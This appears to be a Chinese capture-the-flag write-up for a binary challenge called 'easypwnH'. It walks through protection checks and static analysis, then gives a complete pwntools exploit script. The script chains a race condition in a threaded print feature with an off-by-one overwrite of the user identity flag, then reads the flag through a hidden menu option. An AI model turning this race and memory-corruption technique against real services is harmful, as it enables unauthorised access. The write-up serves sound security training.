easypwnH
0x00 查保护
checksec后发现保护差不多都开了

0x02 收集程序特征
运行程序发现需要用户选择登录方式

选择第一种发现直接可以进入login with anonymous

第二种登录方式需要用户名和密码

第三种登录方式直接不让登录

0x03 静态分析

在函数3c50中可以看到与界面相关的信息
回到主函数继续分析发现在print file功能中使用了多线程

查看线程函数发现有个sleep操作,这里就存在条件竞争漏洞了

最后大致的攻击思路先获取admin的权限。再利用offbyone修改用户身份标识就可以pwn了。exp如下所示
1 import re
2 import sys
3 import requests
4 from pwn import*
5
6 HOST = sys.argv[1]
7 PORT = sys.argv[2]
8 FLAG = sys.argv[3]
9
10 def login(p):
11 p.recv()
12 p.sendline("2")
13 p.recv()
14 p.sendline("guest")
15 p.recv()
16 p.sendline("1233211234567233")
17
18 def create(p,name,length,content):
19 p.recvuntil("7. exit\n")
20 p.sendline("1")
21 p.recvuntil("input file name:")
22 p.sendline(name)
23 p.recv()
24 p.sendline(str(length))
25 p.recv()
26 p.sendline(content.ljust(length,"\0"))
27
28 def delete(p,name):
29 p.recvuntil("7. exit\n")
30 p.sendline("2")
31 p.recvuntil("name:")
32 p.sendline(name)
33
34 def prints(p,name):
35 p.recvuntil("6. secret\n")
36 p.sendline("3")
37 p.sendlineafter("input file name:",name)
38
39 def change(p,name,password):
40 p.recvuntil("7. exit\n")
41 p.sendline("5")
42 p.recvuntil("user name:")
43 p.sendline(name)
44 p.recvuntil("user password:")
45 p.send(password)
46
47 def secret(p,oldpath,newpath):
48 p.recvuntil("6. secret\n")
49 p.sendline("666")
50 p.recvuntil("input old path:")
51 p.sendline(oldpath)
52 p.recvuntil("input new path:")
53 p.sendline(newpath)
54
55 def exp(ip, port):
56 p = remote(ip,port)
57 login(p)
58 create(p,"a",10,"aaaaaaaa")
59 delete(p,"a")
60 change(p,"zs0zrc",'a'*0x20 + "\x03")
61 prints(p,"a")
62 sleep(1)
63 secret(p,"/home/ctf/flag","/tmp/a")
64 p.recvuntil("content:")
65 flag = p.recv().strip()
66 print flag
67 return flag
68
69 if name == ' main ':
70 flag = exp(HOST, PORT)
71 assert flag == FLAG
72 print("Pass!")







